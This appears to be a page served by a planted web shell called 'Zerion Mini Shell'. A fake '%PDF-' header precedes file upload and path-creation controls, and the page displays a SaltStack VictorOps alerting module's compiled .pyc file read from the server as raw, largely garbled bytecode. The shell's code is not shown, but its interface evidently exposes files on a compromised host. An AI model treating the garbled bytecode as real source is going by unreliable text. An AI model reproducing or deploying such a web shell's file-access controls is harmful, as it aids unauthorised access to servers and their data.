%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/victorops.pyc

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddlm	Z	ddl
ZddlZej
e�ZdZd�Zddddddd�Zdd	d
�ZdS(u�
Support for VictorOps

.. versionadded:: 2015.8.0

Requires an ``api_key`` in ``/etc/salt/minion``:

.. code-block: yaml

    victorops:
      api_key: '280d4699-a817-4719-ba6f-ca56e573e44f'
i(tabsolute_importtprint_functiontunicode_literalsN(tSaltInvocationErroruNo VictorOps api key found.cC@s0tdd�r,tdd�r,ttfStS(u5
    Only load the module if apache is installed
    u
config.getuvictorops.api_keyuvictorops:api_key(t__salt__tFalset_api_key_missing_errortTrue(((s:/usr/lib/python2.7/site-packages/salt/modules/victorops.pyt__virtual__s
uGETc
C@s�tdd�ptdd�}d}|rB|dj|�7}n|r^|dj|�7}n|rq||7}ntjd|�t|t�s�i}n|dkr�idd6}n|d	kr�d|d
<nt}|dkr�t}nt	j
jj||d|d
|d|d|dddtdtdtdtdt
�
}	d|	krltj|	d�|	d|	dgS|	d|	jdi�gS(u&
    Make a web call to VictorOps
    u
config.getuvictorops.api_keyuvictorops:api_keyu:https://alert.victorops.com/integrations/generic/20131114/u{0}/uVictorOps URL: %suapplication/jsonuContent-typeuPOSTuAcceptuDELETEtparamstdatatheader_dicttdecodetdecode_typeujsonttexttstatustcookiestpersist_sessiontoptsuerrorustatusudictN(Rtformattlogtdebugt
isinstancetdicttNoneRRtsalttutilsthttptqueryt__opts__terrortget(
tactiontrouting_keytargstmethodRR
tapi_keytpathRtresult((s:/usr/lib/python2.7/site-packages/salt/modules/victorops.pyt_query)sH	
	
		u	everybodyc	K@s8itd6td6td6td6td6td6}i}|sKtd��n|j�dkrltd
��n||d<d|d<d|kr|jdd�}y<tjj|d|�}ttj	|j
���|d<Wqttfk
rtdj
|d|���qXnd|kr�|jdd�}y<tjj|d|�}ttj	|j
���|d<Wq�ttfk
r�tdj
|d|���q�XnxU|D]M}	|	|kr�t||	||	�r�||	||	<q�tjd|	�q�q�Wtddd|dtjjj|�dd�\}
}|S(u�
    Create an event in VictorOps. Designed for use in states.

    The following parameters are required:

    :param message_type:            One of the following values: INFO, WARNING, ACKNOWLEDGEMENT, CRITICAL, RECOVERY.

    The following parameters are optional:

    :param routing_key:             The key for where messages should be routed. By default, sent to
                                    'everyone' route.

    :param entity_id:               The name of alerting entity. If not provided, a random name will be assigned.

    :param timestamp:               Timestamp of the alert in seconds since epoch. Defaults to the
                                    time the alert is received at VictorOps.

    :param timestamp_fmt            The date format for the timestamp parameter.

    :param state_start_time:        The time this entity entered its current state
                                    (seconds since epoch). Defaults to the time alert is received.

    :param state_start_time_fmt:    The date format for the timestamp parameter.

    :param state_message:           Any additional status information from the alert item.

    :param entity_is_host:          Used within VictorOps to select the appropriate
                                    display format for the incident.

    :param entity_display_name:     Used within VictorOps to display a human-readable name for the entity.

    :param ack_message:             A user entered comment for the acknowledgment.

    :param ack_author:              The user that acknowledged the incident.

    :return:                        A dictionary with result, entity_id, and message if result was failure.

    CLI Example:

    .. code-block:: yaml

        salt myminion victorops.create_event message_type='CRITICAL' routing_key='everyone'                  entity_id='hostname/diskspace'

        salt myminion victorops.create_event message_type='ACKNOWLEDGEMENT' routing_key='everyone'                  entity_id='hostname/diskspace' ack_message='Acknowledged' ack_author='username'

        salt myminion victorops.create_event message_type='RECOVERY' routing_key='everyone'                  entity_id='hostname/diskspace'

    The following parameters are required:
        message_type

    u	entity_idu
state_messageuentity_is_hostuentity_display_nameuack_messageu
ack_authoru,Required argument "message_type" is missing.uINFOuWARNINGuACKNOWLEDGEMENTuCRITICALuRECOVERYuM"message_type" must be INFO, WARNING, ACKNOWLEDGEMENT, CRITICAL, or RECOVERY.umessage_typeu	SaltStackumonitoring_toolu	timestampu
timestamp_fmtu%Y-%m-%dT%H:%M:%Su)Date string could not be parsed: {0}, {1}ustate_start_timeustate_start_time_fmtuWrong type, skipping %sR ualertR!R
R#uPOST(uINFOuWARNINGuACKNOWLEDGEMENTuCRITICALuRECOVERY(tstrtboolRtupperRtdatetimetstrptimetintttimetmktimet	timetuplet	TypeErrort
ValueErrorRRRRR'RRtjsontdumps(tmessage_typeR!tkwargstkeyword_argsR
t
timestamp_fmtt	timestamptstate_start_time_fmttstate_start_timetkwargRR&((s:/usr/lib/python2.7/site-packages/salt/modules/victorops.pytcreate_eventdsN8



#	#	
(t__doc__t
__future__RRRR+tloggingR.tsalt.exceptionsRtsalt.utils.httpRtsalt.utils.jsont	getLoggert__name__RRRRR'R=(((s:/usr/lib/python2.7/site-packages/salt/modules/victorops.pyt<module>
s"	
6

Zerion Mini Shell 1.0